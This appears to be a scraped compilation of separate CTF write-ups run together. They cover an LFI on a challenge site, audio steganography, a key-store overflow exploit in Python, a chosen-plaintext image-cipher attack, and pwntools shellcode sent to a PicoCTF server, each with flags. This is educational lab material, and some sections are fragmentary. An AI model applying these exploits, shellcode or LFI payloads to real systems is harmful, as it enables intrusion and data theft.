Attempting to connect to 34.249.81.124 on port 88
Attempting to connect to 34.249.81.124 on port 156
Attempting to connect to 34.249.81.124 on port 983
Attempting to connect to 34.249.81.124 on port 1287
Attempting to connect to 34.249.81.124 on port 8743
Attempting to connect to 34.249.81.124 on port 5622
Attempting to connect to 34.249.81.124 on port 9123
flag{6283a3856ce4766d88c475668837184b}
|
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/SHA2017CTF/problems/pwnable/megan-35/
Writeup with full exploit script and files. |
we have this target :
http://bonappetit.stillhackinganyway.nl/
after some browsing we see this parametre is effected by LFI
http://bonappetit.stillhackinganyway.nl/?page=
from source code :
http://bonappetit.stillhackinganyway.nl/?page=.htaccess
<FilesMatch "suP3r_S3kr1t_Fl4G">
http://bonappetit.stillhackinganyway.nl/?page=suP3r_S3kr1t_Fl4G
the flag : flag{82d8173445ea865974fc0569c5c7cf7f}
|
In this challenge an audio file is given and it is required to find the flag hidden in it.
This is an example of how a challenge should not be solved. For sure there was a better way that we do not know.
By looking at the spectrogram (using sonic visualizer) we can see that there is some sequence hidden at frequency 18k.
We can use audacity to extract that frequency, by using an high-pass filter and by amplifying the result.
The applied filters are the following
```- stereo track to mono- high pass filter (17000, 48 dB)- amplify (45)```
We can now see a nice waveform: 
Let us export the result and extract the bits contained in this wave. We can use the following lines to extract the bits, by passing a frequency and a threshold.
```//bits.cint main(int argc, char *argv[]){ int c,i; float val = 0; float alpha = 0.001; int freq = atoi(argv[1]); int ts = atoi(argv[2]); while((c=getchar())!=-1){ c &= 0x0ff; c = abs(c-128); val = alpha*c + (1-alpha)*val; if(i++%freq == freq/2){ printf("%d\n",val<ts?0:1); } } printf("\n");}```By using the following line we can see a sequence of 0 and 1:
```$ cat filtered.aiff | ./bits 70 40 | tr -d '\n'...00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111110000000000000011111100000000000000111111100000000000011111111000000000000011111110000000000000111111100000000000001111111000000000000011111111000000000000111111100000000000000111111100000000000001111111000000000000111111110000000000000111111100000000000001111111100000000000011111111000000000000011111100000000000000111111100000000000011111111000000000000011111110000000000000111111100000000000001111111100000000000011111111000000000000011111110000000000000111111100000000000001111111000000000000011111110000000000000111111100000000000001111111100000000000011111111000000000000011111100000000000000111111111111111111111111111111000000001111111111111111111111111111111110000001111111111111111111111111111111111000000001111111111111111111111111111111100000000111111111111111111111111111111111000000111111111111000000000001111111111111111111111111111111000000001111111111111111111111111111111111111111111111111111100000011111111111100000000000011111111111111111111111111111111111111111111111111111111111111111111111100001111111111111111111111111111111111111111111111111111111100000111111111111000000000001111111111111111111111111111111000000011111111111000000000000111111111111111111111111111111100000000111111111111111111111111111111110000000111111111111111111111111111111111100000001111111111100000000000111111111111111111111111111111100000000...```Let us print the length of the 1 sequences:
```$ cat filtered.aiff | ./bits 70 40 | uniq -c | grep "[0-9] 1" | awk '{print $1}' > data ; cat data56787778777...```
Using this command we can see that the lengths are in some way clustered
```$ cat data | sort -n | uniq5678101112131430313233343551525354555657717273747592939495112115134154734```Let's print a different number for each cluster:
```cat data | awk '{if($1<=14)print "0"; else if($1<=35)print "1"; else if ($1<=57)print "2"; else if ($1<=75)print "3"; else if ($1<=95)print "4";else if($1<=115)print "5"; else if($1==134)print "6"; else if($1==154)print "7"}' > data2; cat data2 | tr -d '\n' 000000000000000000000000000000111110120320101110120121021030101203201201102023011101301012011102010122011101201210230120220220131010210401020250110210401401102103040104030212012012101201310130104110520102110313010410220120122011230213030301602104012202220301110114012021040150302120130704022101120202406020140110111023032013201201210201320203120220210401210112110```
Let's now consider 0 to be a separator:
```$ cat data2 | tr -d '\n' | tr '0' ' ' 11111 12 32 1 111 12 121 21 3 1 12 32 12 11 2 23 111 13 1 12 111 2 1 122 111 12 121 23 12 22 22 131 1 21 4 1 2 25 11 21 4 14 11 21 3 4 1 4 3 212 12 121 12 131 13 1 411 52 1 211 313 1 41 22 12 122 1123 213 3 3 16 21 4 122 222 3 111 114 12 21 4 15 3 212 13 7 4 221 112 2 24 6 2 14 11 111 23 32 132 12 121 2 132 2 312 22 21 4 121 11211```
By looking at the frequencies of the various subsequences we can see that it could be some alphabet:
```$ cat data2 | tr -d '\n' | tr '0' ' ' | tr ' ' '\n' | sort | uniq -c | sort -nr 30 12 12 10 1 8 4 7 3 7 21 7 2 6 111 5 121 4 22 4 11 3 32 3 23 3 13 3 122 2 212 2 14 2 132 2 131 1 7 1 6 1 52 1 411 1 41 1 313 1 312 1 25 1 24 1 222 1 221 1 213 1 211 1 16 1 15 1 114 1 1123 1 11211 1 112 1 11111```
Let's suppose that 1 represents a space:
```$ cat data2 | tr -d '\n' | tr '0' ' ' | sed 's/ 1 / /g' 11111 12 32 111 12 121 21 3 12 32 12 11 2 23 111 13 12 111 2 122 111 12 121 23 12 22 22 131 21 4 2 25 11 21 4 14 11 21 3 4 4 3 212 12 121 12 131 13 411 52 211 313 41 22 12 122 1123 213 3 3 16 21 4 122 222 3 111 114 12 21 4 15 3 212 13 7 4 221 112 2 24 6 2 14 11 111 23 32 132 12 121 2 132 2 312 22 21 4 121 11211```We can see that there are some space in the first part, and no spaces on the second part. Thus, the second part could be the flag.
By replacing 41, 22, 12, 122, with f,l,a,g and then continuing to guess other characters considering their frequencies, we can find the meaning of each subsequence.
The substitutions are the following (we still don't know if this is some existing encoding):
```41 f22 l12 a122 g111 r2 e121 d21 i3 o32 m11 t23 u13 s22 l131 y4 n25 x14 c212 w24 S6 p1123 {11211 }132 M312 B3 o16 k222 F114 R213 L15 b7 I221 T112 h```The flag is
```flag{LookingForRainbowsInTheSpectrumMadeMeBlind}```
|
**Catergory** - Web | **Points** - 100
## Description: We are creating a new web-site for our restaurant. Can you check if it is secure enough?
### Solution: Upon visiting the site, checking the source of the home page reveals:```
```So we know we might be facing an LFI to try and access 'apache access' or the 'error log'.
Now, clicking one the navigation links shows us the structure of the URL```http://bonappetit.stillhackinganyway.nl/?page=home```Maybe ``?page=home`` is vulnerable to LFI?
It sure is, visiting ``http://bonappetit.stillhackinganyway.nl/?page=.htaccess`` it reveals the following:```<FilesMatch "\.(htaccess|htpasswd|sqlite|db)$"> Order Allow,Deny Deny from all</FilesMatch>
<FilesMatch "\.phps$"> Order Allow,Deny Allow from all</FilesMatch>
<FilesMatch "suP3r_S3kr1t_Fl4G"> Order Allow,Deny Deny from all</FilesMatch>
# disable directory browsingOptions -Indexes```Hmm, no flag but we do see ``suP3r_S3kr1t_Fl4G``, let's try accessing that file.
Yep, that file reveals the flag :)``flag{82d8173445ea865974fc0569c5c7cf7f}`` |
# ??? (crypto, 300p)
## ENG
The only serious 100% crypto challenge on CONFidence - thanks to adami (creator). I heard that it was originally supposed to be harder, but during internal testing it turned out that there was obvious unintended solution and it was left that way.
We are given file with "crypto service" code (see attached [enc_service.c](enc_service.c) ).
There are 16 "slots" for encryption keys in binary, and we have four operations: - copy key from Ith slot to `"current_key"` slot (if Ith key is shorter than `current_key`, not all will be overwritten). - change Ith key to N random bytes - change `data` - encrypt `data` with 16 bytes of `current_key`.
My solution was not perfect, because it turned out that there was easier way, but i'll describe it anyway.
Code initially looks conceptually like this: - randomizes all keys - data = read('flag') - print `encrypt_data()`
In original code:
```cppint i;for (i = 0; i < NUM_KEYS; i++) { regenerate_key(i, MAX_KEY_LEN);}
int fd = open("flag.txt", O_RDONLY);read(fd, data, DATA_SIZE);close(fd);
load_key(MASTER_KEY_INDEX);encrypt();
memset(data, 0, DATA_SIZE);regenerate_key(MASTER_KEY_INDEX, MAX_KEY_LEN);```
data is memzeroed after this, and the original key is only in `current_key`.
So how can we solve this? First i tried overwritting first byte of `current_key`, until i get the same results.
So the situation looked like this:
```current key: [K0, K1, K2, K3, K4, ...]K0: [K0, ?, ?, ?, ?, ...]```
and code more or less like this:
```pythongood = encrypt()while True: regenerate(0, 1) load(0) next = encrypt()
if next == good: break```
after that, i repeated this for next bytes, and situation looked like this:
```current key: [K0, K1, K2, K3, K4, ...]K0: [K0, ?, ?, ?, ?, ...]K1: [?, K1, ?, ?, ?, ...]K2: [?, ? , K2, ?, ?, ...]...```
And code like this:
```pythonfor i in range(0, 15): print "and now, let's try to set KEYS[{}][{}] to VICTIM".format(i, i)
while True: regenerate(i, i+1)
for j in range(0, i+1)[::-1]: load(j)
next = encrypt() print next, next == good if next == good: break```
This was my first exploit, but it turned out not to be necessary (it only simplified next part a bit).
After that we noticed that overflow checking in functions is not correct:
```cppvoid regenerate_key(unsigned int index, unsigned int len) { unsigned int offset = index * ENTRY_SIZE;
if (offset > STORAGE_SIZE - ENTRY_SIZE || len > MAX_KEY_LEN) { return; }
int fd = open("/dev/urandom", O_RDONLY); read(fd, &keys[offset], len); close(fd); keys[offset + MAX_KEY_LEN] = len;}```
if offset was really large, it would overflow and in fact we could overwrite arbitrary byte to zero.We used it to overwrite whole keys[15] to zeroes:
```pythondef overwrite_keys15(): print 'ok, now overwrite keys[15] to zeroes' print 'we want index * ENTRY_SIZE + 16 == 14*ENTRY_SIZE + j for j in range(16)' regenerate(15, 16) print 'good so far:' print encrypt() for j in range(16): index = (15*17 - 16 + j) * modinv(17, 2**32) % 2**32 print 'for {} index {}'.format(j, index) regenerate(index, 0)
print 'sanity...' loaddata('A'*16) load(15) sanity = encrypt() assert sanity == 'b49cbf19d357e6e1f6845c30fd5b63e3'```
After that, solution was trivial: just encrypt anything with keys:
```K0, 0, 0, 0, 0, ...K0, K1, 0, 0, 0, ...K0, K1, K2, 0, 0, ......```
Like this:
```pythonpartials = []for i in range(15): load(15) # curkey = 0 for j in range(i+1)[::-1]: load(j)
next = encrypt() print 'next', next partials.append(next)
print 'ok, lets hope itll work'for p in partials: print p
print 'and teh flag...'print flag```
And after that just recover the key and flag:
```from Crypto.Cipher import AES
partials = ['66dbd655bc51bab87329c3f6bdeb5aa0','fee1d80da69f2144f3a951c085c5bc64','7ceaf1c485e6703afc2334bd14b42268','52f684bebc5453ea6e76075c2e03e1ab','bdca9198d9691f0811b178749ee41202','e9667a0459c7da520b73279e6cf3fb42','056da1d9b0504b34f012a21b84e3cdc2','38029eb3e57569c3dd36f75142f58580','c22ce237ba0543f23f36c88aa79f3140','a475c86bb894b285c080a90b76383927','45bc0a0bb4f98cd4388bff76f058bd7a','846dbb2d1380d4513ad4ce2d376f206c','f6e81706b8ea2051b926698cc584c26e','4e3ef31fab662337d551aaf202d2c047','05f61ce44e216db3ad8264f031086dbb',]flag = 'cefff6adc9392ba7e6abe6513c6d4467'.decode('hex')data = 'A' * 16
key = [0] * 16print len(partials)for i, p in enumerate(partials): p = p.decode('hex') for j in range(256): key[i] = j kk = ''.join(chr(c) for c in key) if AES.new(kk).decrypt(p) == data: print 'got', j break
for i in range(256): for j in range(256): key[15] = i key[0] = j kk = ''.join(chr(c) for c in key) ff = AES.new(kk).decrypt(flag) if all(20 < ord(c) < 0x7f for c in ff): print ff```
Flag:
```Drgns{f2Br#@!#d}``` |
# SHA2017 Teaser - CryptoEngine
---
### Disclaimer: This is by no means the most efficent or best way to solve this challenge. This is simply my though process and what worked for me.
---
The challenge is to decrypt the flag from an image.
There is also a tool to encode any entered text
When you submit this box a new page is displayed with a single image. Lets try this with the string "test".
encrypt(test) =
Cool! Now lets test with simple strings, try "a"
encrypt(a) =
This is curious... It seems to be too short, lets try other lengths.
encrypt(aa) =
encrypt(aaa) =
Got it! The minimum length seems to be three characters. Lets keep going.
encrypt(aaaa) =
Okay... we have some characters added to it, and examining the RGB we have the same color.
encrypt(aaaaa) =
We have some more characters but they seem to be cut off, again, the same color.
encrypt(aaaaaa) =
Very interesting... now we have two squares and no text. From this you should be able to conclude that every three characters equates to a square and any remainder contributes to some text.
It's curious... three chars to a square, and three colors make up that square, Red Green and Blue (RGB).
Let's look at the individual color values for these squares. Lucky for me, my mac has a built in tool "Digital Color Meter" which happily gives me the RGB of whatever pixel my mouse is over.
Lets look some RGB values for different codes.
| Code | R | G | B ||:----:|:---:|:---:|:---:|| aaa | 83 | 81 | 80 || aab | 83 | 81 | 83 || aba | 83 | 82 | 80 || baa | 80 | 81 | 80 |
Awesome! WE GOT IT... Maybe...
Each letter for the three block code is directly related to the R, G or B value respective of position. ie. A in position 1 is 83, a in position 2 is 81, a in position 3 is 80.
At this point, we make the assumption that this is the same for all blocks and write a script to map each character and position to the integer value. I encoded this in a Python dictionary, the key being the color value concatenated with the position (R is pos 1, G is pos 2, B is pos 3), and the value stored is the character. What I ended up with is a table that looks like this.
| Key | Value ||:---:|:-----:||83-1 | a ||81-2 | a ||80-3 | a ||80-1 | b ||82-2 | b ||83-3 | b || ... | ... |
The code is below:```pythonimport sysimport stringimport urllibimport urllib2import picklefrom PIL import Image
# Set up base variablesbase_url = "https://cryptoengine.stillhackinganyway.nl/encrypt?text="hashes = {}
# Loop over all printable ascii characters.for c in string.printable: # Create a string of three of the character. ie. aaa, bbb, ccc, ... text = urllib.quote_plus(c * 3) # Append the text to encode to the URL. url = base_url + text
print url
# Read the result of the request into a variable. # The result in our case will be a PNG image. content = urllib2.urlopen(url).read()
# Write this image to a file. This should not be necessary, but it's # the only way I know to then read it into Python's Image library. f = open( text + '.png', 'w' ) f.write(content) f.close()
# Read the image in so we can get the RGB. im = Image.open(text + '.png') pix = im.load() # Set the X, Y position to read the RGB pixel value form. x = 3 y = 3
# Each position will represent the R, G and B color values of the pixel. # Red = pos 1, Green = pos 2, Blue = pos 3 for pos in [1, 2, 3]:
# Set the key of our dictionary to the value of the R, G or B # at the specified X, Y and append the position. key = str(pix[x,y][pos - 1]) + "-" + str(pos)
print key + " = " + value
# Add our character to the dictionary with at the key. hashes[key] = c
# Save our entire dictionary to a file so that we can load it back.with open('hashes.pickle', 'w') as f: pickle.dump([hashes], f)```
Now that we have our nice Python dictionary of all our values, let's go and make another script to read the pixel of each square of the flag and get one step closer to our points. After this we'll just have to figure out those last two parts that make up our flag.
```pythonimport os, sysimport stringimport urllib2import urllibimport picklefrom PIL import Image
# Load up the hashtable we created.with open('hashes.pickle') as f: # Python 3: open(..., 'rb') hashes = pickle.load(f)[0]
# Open out flag image. im = Image.open('flag.png') pix = im.load()
# Set up a variable to hold the flag flag = ""
# There are 12 squares in the flag so we itterate over each one. for offset in range(12): # Add the square offset (40px is the width) to the x. x = 3 + (offset * 40) y = 3 # For each R, G and B value of the color... for pos in [1, 2, 3]:
# Debug print statement #print "RGB for [" + str(x) + ", " + str(y) + "] (Square: " + str(offset + 1) + ")= " + str(pix[x,y])
# Generate the key from the color value and the string pos key = str(pix[x,y][pos - 1]) + "-" + str(pos)
# Check that we actually have a key so that we don't get an error. # If we have it, print the value, otherwise a "?" if hashes.has_key(key): flag = flag + hashes[key] else: flag = flag + "?"
# Print the final flag print flag```
Just one problem here....
The interesting part here is that we got the first 3 right, but why if the rest garbage? To the keen observer, you may have noticed the encrypted version of "aaaaaa" above.
encrypt(aaaaaa) =
Even though the first and second square are both "aaa", they have different colors. Lets go crazy and see if we find a pattern.
encrypt(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) =
There seems to be some repetition starting at the 9th square, lets test more to confirm.
encrypt(zzzaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa) =
Oddly, there is still repetition between the first and ninth square, even though the first and ninth square are made up of different letters. (zzz for the first and aaa for the ninth)
Rather than going down this rabbit hole of finding a pattern here, lets test how each squares values effect the others. We'll start without "aaaaaa" encryption. and compare it to "zzzaaa"
encrypt(aaaaaa) == [83,81,80], [86, 50,48]
encrypt(zzzaaa) == [72,74,75], [86,41,43]
encrypt(aaazzz) == [83,81,80], [77, 41,43]
Changing the fist clearly changes the second square, but changing the second has no effect on the first.
We proved earlier that within a grouping of three, the characters directly relate to the letter without effecting each other. Remember testing the "b" in different locations? I think we're onto something.
Knowing what we know now, we can modify our previous program to build our flag three characters at a time. When we solve the first three, we'll plug them in in front of the next testing group and solve for the next three. We can then repeat this process for each square until we build up the flag. Let's look at this program now.
Note: I realized at this point that the md5 hash that is the key is made up of only hex characters. With that we shortened our search space to only include hex characters, the letters of the word "flag" and the "{" and "}". This set is much smaller than the full printable characters and contains all possible characters we may see in the flag.
```pythonimport os, sysimport stringimport urllib2import urllibimport picklefrom PIL import Image
# Set up our variables.base_url = "https://cryptoengine.stillhackinganyway.nl/encrypt?text="flag = ""hashes = {}# Load in our flag imageim = Image.open("flag.png")flag_pix = im.load()
# There are 12 squares in the flag, so we much loop over each of them.for square in range(12):
# Set the X, Y position to read the RGB pixel value form. # We also add our square offset for each individual square x = 3 + (40 * square) y = 3
# This set is all characters that may appear in the flag. # We know the flag is of the format flag{md5} and the md5 is represented as # hex encoding. for c in string.hexdigits + "l" + "g" + "{" + "}": # Append our set of characters to the current flag we have. to_encode = flag + urllib.quote_plus(c * 3) # Append this to our URL to get the full path. url = base_url + to_encode
# Debug Output print url
# Read the result of the request into a variable. # The result in our case will be a PNG image. content = urllib2.urlopen(url).read()
# Write this image to a file. This should not be necessary, but it's # the only way I know to then read it into Python's Image library. f = open( to_encode + '.png', 'w' ) f.write(content) f.close()
# Read the image in so we can get the RGB. im = Image.open(to_encode + '.png') pix = im.load()
# Each position will represent the R, G and B color values of the pixel. # Red = pos 1, Green = pos 2, Blue = pos 3 for pos in [1, 2, 3]:
# Set the key of our dictionary to the value of the R, G or B # at the specified X, Y and append the position. key = str(pix[x,y][pos - 1]) + "-" + str(pos)
print key + " = " + c
# Add our character to the dictionary with at the key. hashes[key] = c
# Now that we have our dictionary for this set, # look up the corrosponding characters for pos in [1, 2, 3]: # Generate the key from the color value and the string pos key = str(flag_pix[x,y][pos - 1]) + "-" + str(pos)
# Check that we actually have a key so that we don't get an error. # If we have it, print the value, otherwise a "?" if hashes.has_key(key): flag = flag + hashes[key] else: flag = flag + "?" # Print out flag so far print flag```
GOT IT! Now's the time to jump on Slack and tell your friends you really got something!
We're so close at this point. There's one final part. The last two characters srill need to be figured out. Remember those? The two that are encoded as ascii characters in the image?
This last bit isn't bad. We know the last character has to be a "}" to match the format of the flags, so we only have 16 possible characters for the second to last. These we can do by hand playing with the URL in your favorite browser.
Flag =
Now, lets try 0-f in that second to last.
encrypt(flag{deaf983eb34e485ce9d2aff0ae44f850}) =
So close! If we try a few more, we cquickly find our answer.
encrypt(flag{deaf983eb34e485ce9d2aff0ae44f852}) = |
# Shells -- PicoCTF
This is a binary exploitation challenge worth 70 points.
We are given a binary and a source file, as well as the address (shell2017.picoctf.com) and port number (17533) of the server. Let's open the C file:
~~~c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>
#define AMOUNT_OF_STUFF 10
//TODO: Ask IT why this is herevoid win(){ system("/bin/cat ./flag.txt"); }
void vuln(){ char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); if(stuff == MAP_FAILED){ printf("Failed to get space. Please talk to admin\n"); exit(0); } printf("Give me %d bytes:\n", AMOUNT_OF_STUFF); fflush(stdout); int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF); if(len == 0){ printf("You didn't give me anything :("); exit(0); } void (*func)() = (void (*)())stuff; func(); }
int main(int argc, char*argv[]){ printf("My mother told me to never accept things from strangers\n"); printf("How bad could running a couple bytes be though?\n"); fflush(stdout); vuln(); return 0;}~~~
Now we know that there is a win function, and the program is going to execute code we give it. Let's run the program:
[](https://asciinema.org/a/2grn99obqdtjkdpowvnp7ic36)
We can see that it asks for 10 bytes, and if you give it anything, it segfaults. We know from the source that it is trying to execute whatever you give it, and I didn't give it executable bytes.
Let's try to create some executable code. We kow that we have 10 bytes to work with, and we know we have a nice, ready-made win function that will give us what we want. Let's open it up in Binary Ninja and find the address of the win function.
We can see that the win function starts at `0x08048540`
Now let's design some code. My first thought was to write ```call 0x08048540```or ```jmp 0x08048540```
However, with research and many failed attempts, I realized that there is no good way to call or jmp to an absolute address directly using opcodes. This is because of the way memory is segmented. When attempting to call or jmp to an absolute address, you also have to give a segment number. However, there isn't a great way to find the segment number unless if you already defined the segment number. Therefore, we need a different solution.
I remembered that most past challenges that I have completed required a buffer overflow to change the return address, and we know that the return address should be `0x08048540`, and that needs to be on the top of the stack, so we can push `0x08048540` on the stack and return to it. The Assembly:
```push 0x08048540ret```
We can use an online assembler to get the opcodes. I used [Shell Storm's Assembler/Disassembler](http://shell-storm.org/online/Online-Assembler-and-Disassembler/) `"\x68\x40\x85\x04\x08\xc3"`
Now we can craft a python script to test against the local binary. First, we need to create a flag.txt with any sample text. I just used `flag` Then we can write the script:
```python# solve.py
from pwn import *
p = process('./shells')
sc = '\x68\x40\x85\x04\x08\xc3'p.recvuntil(':\n')p.send(sc)flag = p.recvline()print flag
p.close()```
Let's run the script.
[](https://asciinema.org/a/bf75ikwceh1ru8c4cg16y1ejf)
As you can see, the script ran shells and sent the opcodes, and it outputted the contents of flag.txt. Now we can modify the script to work on the server:
```python# solve.py
from pwn import *
p = remote('shell2017.picoctf.com', 17533)
sc = '\x68\x40\x85\x04\x08\xc3'p.recvuntil(':\n')p.send(sc)flag = p.recvline()print flag
p.close()```
Now let's run it:
[](https://asciinema.org/a/boeus0zz511mm26lq723lakc5)
As you can see, we opened a connection to the server, and sent the opcodes, and it outputted the flag: `4350d27b024f8597f10b98f164f0fc43`
And we are done! |
```Brainfuck Language++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>----. >+++++++++++++++++. --------------. ++++++++++++. --------------------. <. >++++++++++++++++++++++. -------. . +++++++++++. ++. <. >---------. <--------------. ---. +++++++++++++++++++++++++++++. +++++++++++++++++. -------------------------. >+++. <<++++++++++++. . >>++++++++.Bugs_Bunny{Br41N_Fu**}``` |
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